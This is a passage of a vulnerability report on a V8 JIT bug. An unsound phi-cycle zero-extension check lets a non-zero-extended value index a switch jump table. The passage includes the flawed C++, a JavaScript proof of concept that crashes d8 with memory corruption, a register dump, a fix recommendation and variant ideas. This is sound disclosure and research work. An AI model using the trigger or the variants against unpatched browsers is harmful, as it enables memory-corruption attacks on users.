  7. index_operand is a temporary register for the table index.
  8. If the minimum value is not zero, kX64Lea32 is emitted. This instruction computes an address-like sum and, because it is a 32-bit operation, automatically clears the upper 32 bits of the destination register.
  9. If the minimum value is zero, the code asks ZeroExtendsWord32ToWord64() whether the input is already zero-extended. If yes, it uses the value register directly as the 64-bit index. If no, it emits kX64Movl to copy the value and clear the upper bits.
  10. Finally EmitTableSwitch emits the jump table itself, or EmitBinarySearchSwitch emits the comparison-based version.

The jump table path is only taken when the switch has more than four cases, when the estimated cost of the table is no greater than the cost of a binary search, when the minimum value is above the minimum int32_t, and when the value range fits within kMaxTableSwitchValueRange. When the minimum value is non-zero, a kX64Lea32 is emitted, which zero-extends automatically. When the minimum value is zero, the code asks ZeroExtendsWord32ToWord64() whether the input is already zero-extended and, if so, uses the value register directly as the 64-bit index.

The bug is in that judgement. ZeroExtendsWord32ToWord64() recurses when it meets a phi node. A phi node is a special node in the compiler's internal graph that represents "the value depends on which path we came from": it merges several possible values into one. Recursion means the function calls itself to examine the inputs of a node. If it reaches a phi node that is already being visited in the current recursion, it optimistically assumes that the node is guaranteed to have its high 32 bits zero-extended.

C++
#if V8_TARGET_ARCH_64_BIT
template <typename Adapter>
bool InstructionSelectorT<Adapter>::ZeroExtendsWord32ToWord64(
    node_t node, int recursion_depth) {
  // Limit recursion depth to avoid the possibility of stack overflow on very
  // large functions.
  const int kMaxRecursionDepth = 100;

  if (this->IsPhi(node)) {    // This node is a phi node
    Upper32BitsState current = phi_states_[this->id(node)];    // Get the status of the node
    if (current != Upper32BitsState::kNotYetChecked) {    // The node has been calculated.
      return current == Upper32BitsState::kUpperBitsGuaranteedZero;
    }

    // If the recursion level is too deep, return false
    if (recursion_depth >= kMaxRecursionDepth) {
      return false;
    }

    // Mark the current node so that we skip it if we recursively visit it
    // again. Or, said differently, we compute a largest fixed-point so we can
    // be optimistic when we hit cycles.
    phi_states_[this->id(node)] = Upper32BitsState::kUpperBitsGuaranteedZero;    // <=== BUG Here

    // Traverse all input nodes of the phi node
    int input_count = this->value_input_count(node);
    for (int i = 0; i < input_count; ++i) {
      node_t input = this->input_at(node, i);
      // As long as the high 32 bits of any input node of phi are not extended to 00, then this phi node cannot guarantee the high 32 bits to be extended to 00.
      if (!ZeroExtendsWord32ToWord64(input, recursion_depth + 1)) {
        phi_states_[this->id(node)] = Upper32BitsState::kNoGuarantee;
        return false;
      }
    }
    return true;
  }
  return ZeroExtendsWord32ToWord64NoPhis(node);
}
#endif  // V8_TARGET_ARCH_64_BIT

Line by line:

  1. The #if V8_TARGET_ARCH_64_BIT guard means this code only exists when building for a 64-bit processor, because the question only matters there.
  2. kMaxRecursionDepth = 100 caps how deep the recursion can go, so a huge function cannot overflow the stack, the region of memory where function calls keep their local data.
  3. If the node is a phi, the function looks up its stored state in phi_states_.
  4. If the state is not kNotYetChecked, the node has already been analysed, so the stored answer is returned.
  5. If the recursion is too deep, it returns false, meaning "not proven zero-extended".
  6. The critical line sets phi_states_[this->id(node)] = kUpperBitsGuaranteedZero before checking the inputs. This is the bug: it records a conclusion before the evidence has been examined.
  7. The loop then visits every input of the phi and calls itself on each one.
  8. If any input is not zero-extended, the state is set to kNoGuarantee and false is returned.
  9. If all inputs pass, true is returned.
  10. If the node is not a phi, the function falls back to ZeroExtendsWord32ToWord64NoPhis(node), which handles ordinary nodes.

The function marks the phi as kUpperBitsGuaranteedZero before it has finished checking the phi's inputs, so that a cycle does not recurse forever. The comment says this computes a largest fixed-point so the analysis can be optimistic when it hits cycles. The problem is that the optimistic answer can be returned to a caller that then relies on it as if it were proven.

Exploitation

Step 1: understand the node graph

The report gives the shape of the Turboshaft graph before instruction selection. Turboshaft is the name of the compiler's internal representation, a graph of nodes connected by arrows. Each node is an operation, and the arrows show which values feed which operations.

Text
103: Switch(89)
    |
    V
89: Phi(85, 117) <------------------------------|
    |                                           |
    |                                           |
    |---->85: Phi(24, 28, 76, 69, 58, 68)       |
    |       |                                   |
    |       |--->24: Constant2                  |
    |       |                                   |
    |       |--->28: Phi(4, 89)                 |
    |                |                          |
    |                |---> 4: Constant0         |
    |                |                          |
    |                |--------------------------
    |
    |---->117: Phi(24, 89, 108, 69, 58, 68)
            |
            |->24: Constant
            |->89: Constant
            |->108: Load SMI

Node 89 is the value switched on. It is a phi whose inputs include node 85, which is itself a phi, and node 117, which is a phi that includes a Load SMI (node 108). An SMI is a "small integer", the way V8 stores ordinary whole numbers compactly. Node 85 includes node 28, another phi, whose inputs are a constant zero and node 89 again. That back edge from 28 to 89 is the cycle: following the arrows from 89 leads back to 89.

Step 2: follow the recursion

The report walks through ZeroExtendsWord32ToWord64(89) as it runs while selecting the instruction for Switch(89):

  1. 89 is a phi, so it sets phi_states_[89] = kUpperBitsGuaranteedZero and recurses into its inputs.
  2. 85 is also a phi, so it sets phi_states_[85] = kUpperBitsGuaranteedZero and recurses into its inputs.
  3. 24 is a Constant, so it returns true.
  4. 28 is a phi, so it sets phi_states_[28] = kUpperBitsGuaranteedZero and recurses into its inputs.
  5. 4 is Constant0, so it returns true.
  6. 89 is reached again. Because phi_states_[89] was already set to kUpperBitsGuaranteedZero at the start, the function treats 89 as zero-extended, even though the check of 89 has not finished. That makes 28 look zero-extended, and the result propagates back up.

The report spells out the consequence: if the value of node 108: Load reaches node 28: Phi through node 89: Phi, the high 32 bits of that value are not actually zero-extended. The optimistic assumption is wrong for this graph.

Step 3: why a loaded SMI is not zero-extended

The report points to the root cause in instruction-selector.cc and explains the SMI-corrupting mechanism: after loading an SMI from memory, the SMI is by default added to cage_base, so the upper 32 bits should not be assumed to be zero. cage_base is the base address of V8's heap cage, a reserved region of memory; adding it to a stored number turns the compact value into a full pointer-like value, which changes the upper bits. That is exactly the input that the cycle lets the analysis ignore.

Step 4: build a JavaScript trigger

The PoC drives the optimiser into producing the graph above. It uses a nested loop with a switch on v4, where one case assigns the global x (set to 0) and the other cases step v4 through 1 to 4:

JavaScript
let x = 1;
x = 0;

function opt() {
    let v4 = 0;
    for (let i = 0; i < 10; i++) {
        for(let j=0; j<6; j++) {
            switch(v4) {
                case 0:
                    v4 = 1;
                    break;
                case 1:
                    v4 = 2;
                    break;
                case 2:
                    v4 = 3;
                    break;
                case 3:
                    v4 = 4;
                    break;
                case 4:
                    v4 = x;
                    break;
            };
        }
    }
    return v4;
}

%PrepareFunctionForOptimization(opt);
print(opt());
print(opt());
%OptimizeFunctionOnNextCall(opt);
print(opt());

Line by line:

  1. let x = 1; x = 0; creates a global variable and then sets it to zero.
  2. function opt() defines the function that will be optimised.
  3. let v4 = 0; starts the switched value at zero.
  4. The switch(v4) has five cases, 0 to 4. Each case sets v4 to the next number, except case 4, which sets it to x (zero).
  5. %PrepareFunctionForOptimization(opt); tells V8 to collect the information needed to optimise opt.
  6. print(opt()); runs the function twice to warm it up.
  7. %OptimizeFunctionOnNextCall(opt); tells V8 to optimise opt the next time it is called.
  8. The final print(opt()); runs the optimised version, which is where the bug triggers.

The function is called twice before optimisation is requested for the next call.

Step 5: run it

Shell
./d8 \
    --allow-natives-syntax \
    ./test.js

This runs the d8 shell on the file test.js and allows the % native functions. The result is a memory corruption and a crash:

Text
Received signal 11 <unknown> 000000000000
./run.sh: line 6: 988335 Segmentation fault

Signal 11 is the operating system's way of saying the program accessed memory it was not allowed to. A segmentation fault is the same event reported by the shell.

The crashing instruction is in the JIT-generated function. JIT means "just in time": code generated while the program runs. The core dump, a snapshot of the processor registers at the moment of the crash, shows $rcx holding a value that is not a valid 64-bit index:

Text
$rax   : 0x0
$rbx   : 0x0000364f00040299  →  0x450040000100000d
$rcx   : 0x000017f500000000  →  0x0000000000040940
$rdx   : 0x5
$rsp   : 0x00007fffffffc638  →  0x00007fffffffc670  →  0x00007fffffffc6d0  →  0x00007fffffffc6f8  →  0x00007fffffffc770  →  0x00007fffffffc7b0  →  0x00007fffffffccc0  →  0x00007fffffffcda0
$rbp   : 0x00007fffffffc670  →  0x00007fffffffc6d0  →  0x00007fffffffc6f8  →  0x00007fffffffc770  →  0x00007fffffffc7b0  →  0x00007fffffffccc0  →  0x00007fffffffcda0  →  0x00007fffffffcfc0
$rsi   : 0x000017f500298a79  →  0x9900000008002904
$rdi   : 0x000017f500000000  →  0x0000000000040940
$rip   : 0x00005555c01800e5  →  0x00801f0fca24ff41
$r8    : 0x000017f500000000  →  0x0000000000040940
$r9    : 0x000055556130ba90  →  0x1baddead0baddeaf
$r10   : 0x00005555c0180390  →  0x00005555c0180150  →  0xf98b4800000002b9
$r11   : 0x246
$r12   : 0x0000364f000400b1  →  0xd600400200000009
$r13   : 0x000055556128f080  →  0x00005555601a6040  →  <Builtins_AdaptorWithBuiltinExitFrame+0> push rbp
$r14   : 0x000017f500000000  →  0x0000000000040940
$r15   : 0x00007fffffffc648  →  0x00005555601eb5dc  →  <Builtins_InterpreterEntryTrampoline+732> mov rcx, rax
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
....
   0x5555c01800d5                  cmp    ecx, 0x9
   0x5555c01800d8                  jae    0x5555c0180155
   0x5555c01800de                  lea    r10, [rip+0x2ab]        # 0x5555c0180390
 → 0x5555c01800e5                  jmp    QWORD PTR [r10+rcx*8]
   0x5555c01800e9                  nop    DWORD PTR [rax+0x0]
   0x5555c01800f0                  movabs rcx, 0x17f500298a79
   0x5555c01800fa                  mov    edi, DWORD PTR [rcx+0x13]
   0x5555c01800fd                  add    rdi, r14
   0x5555c0180100                  cmp    edi, 0x741

The register dump lists the processor's registers and their contents. $rcx is 0x000017f500000000, which has non-zero upper bits. The disassembly, the human-readable form of machine code, shows the sequence:

  1. cmp ecx, 0x9 compares the lower 32 bits of rcx with 9.
  2. jae 0x5555c0180155 jumps away if the value is above or equal to 9, the bounds check.
  3. lea r10, [rip+0x2ab] loads the address of the jump table into r10.
  4. jmp QWORD PTR [r10+rcx*8] is the indirect jump: it reads a 64-bit target from the table at r10 plus rcx times 8, and jumps there. The arrow marks this as the crashing instruction.

The report notes that $rcx is not a valid 64-bit index, and the disassembly shows the indirect jump jmp QWORD PTR [r10+rcx*8]. Because the upper bits of rcx were not zero, the jump reads a target from outside the table and the process faults.

Root cause

ZeroExtendsWord32ToWord64() marks a phi as kUpperBitsGuaranteedZero before it has checked the phi's inputs, so that recursion terminates on cycles. When the recursion comes back to a phi that is still being checked, it reads that optimistic marker and returns true. The caller in VisitSwitch() then skips the kX64Movl that would have zero-extended the value, and the unextended value is used as a 64-bit jump table index.

The report states the correct behaviour plainly: when the function recursively visits a phi and encounters a node that is already being visited, it should not assume the node is zero-extended. For safety it should be treated as not zero-extended.

The report also notes that ZeroExtendsWord32ToWord64() is not only used in VisitSwitch(). Because it can wrongly optimise away high 32-bit zero-extension operations, some ChangeUint32ToUint64 nodes can also fail. ChangeUint32ToUint64 is a node that converts an unsigned 32-bit value to 64 bits, which normally means filling the upper bits with zeros. The report says only a sample causing memory corruption was constructed at the time of writing.

Impact

The report describes the demonstrated effect as memory corruption, and states that through some sophisticated exploits the vulnerability may lead to RCE. The crash occurs in JIT-generated code when the jump table is indexed with a value whose upper 32 bits were not zeroed. The conditions are the jump table path in VisitSwitch(): more than four cases, a cost estimate favouring the table, a minimum value above the int32_t minimum, a value range within kMaxTableSwitchValueRange, and a minimum value of zero so that the ZeroExtendsWord32ToWord64() check is reached.

Fix

The report does not describe the patch that was applied. What it recommends is that ZeroExtendsWord32ToWord64() treat a phi node that is encountered while it is still being visited as not zero-extended, rather than assuming it is zero-extended. That removes the unsound optimistic answer.

Variants to test

  • Other callers of ZeroExtendsWord32ToWord64(). The report says the helper is used outside VisitSwitch() and that ChangeUint32ToUint64 nodes can be affected. Look for other lowering paths that rely on the same answer and check whether a phi cycle can make them skip a required zero-extension. A positive result is a value with non-zero upper bits reaching a 64-bit consumer.
  • Different phi cycle shapes. The report's graph has a back edge from a nested phi (28) to the switched-on phi (89). Try cycles of different depth and with different input kinds, such as a Load SMI reaching the cycle through a different route. A positive result is the same crash in the jump table dispatch.
  • Switch shapes that still take the jump table. Vary the number of cases and the value range while keeping the minimum value at zero, so the ZeroExtendsWord32ToWord64() branch is taken. A positive result is a JIT-compiled switch whose index register holds a value with non-zero upper bits at the indirect jump.
  • Non-zero minimum values. When sw.min_value() is non-zero the code emits kX64Lea32, which zero-extends, so that path should not be affected. Confirming this helps isolate the bug to the zero-minimum branch.

Glossary

  • API: Application Programming Interface, a defined way for one piece of software to talk to another.
  • Binary search: a search that repeatedly halves a sorted range to find a value.
  • Bounds check: a test that a value is within an allowed range before using it as an index.
  • cage_base: the base address of V8's heap cage, added to stored small integers when they are loaded.
  • Commit: a recorded change in a source code repository.
  • Compiler: a program that translates code into machine instructions.
  • Core dump: a snapshot of a program's memory and registers at the moment it crashed.
  • CVE: Common Vulnerabilities and Exposures, a public identifier for a security bug.
  • d8: V8's standalone command-line JavaScript shell.
  • Disassembly: the human-readable form of machine code.
  • Heap: the region of memory where a program stores objects it creates at runtime.
  • Indirect jump: a jump to an address read from memory rather than written in the instruction.
  • Instruction selector: the compiler stage that chooses machine instructions for each operation.
  • JIT: just-in-time compilation, generating machine code while the program runs.
  • Jump table: an array of code addresses indexed by a value to jump to one of several destinations.
  • kX64Lea32: an x64 instruction that computes an address-like sum and clears the upper 32 bits of the result.
  • kX64Movl: an x64 instruction that copies a 32-bit value and clears the upper 32 bits of the destination register.
  • Lowering: turning a high-level construct into lower-level instructions.
  • Memory corruption: a bug where a program reads or writes memory it should not.
  • Native syntax: special % functions available only in debugging shells like d8.
  • Node: an operation in the compiler's internal graph.
  • Phi node: a graph node that merges several possible values depending on which path was taken.
  • PoC: proof of concept, a small program that demonstrates a bug.
  • RCE: remote code execution, running an attacker's code on the target machine.
  • Recursion: a function calling itself to process sub-parts of a problem.
  • Register: a small, fast storage location inside the processor.
  • Segmentation fault: the operating system's report that a program accessed memory it was not allowed to.
  • SMI: small integer, V8's compact representation of ordinary whole numbers.
  • Stack: the region of memory where function calls keep their local data.
  • Switch statement: a JavaScript construct that chooses between several options based on a value.
  • Turboshaft: the name of V8's compiler internal representation.
  • VRP: Vulnerability Reward Program, a scheme that pays people who privately report security bugs.
  • Zero-extend: fill the upper bits of a value with zeros.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.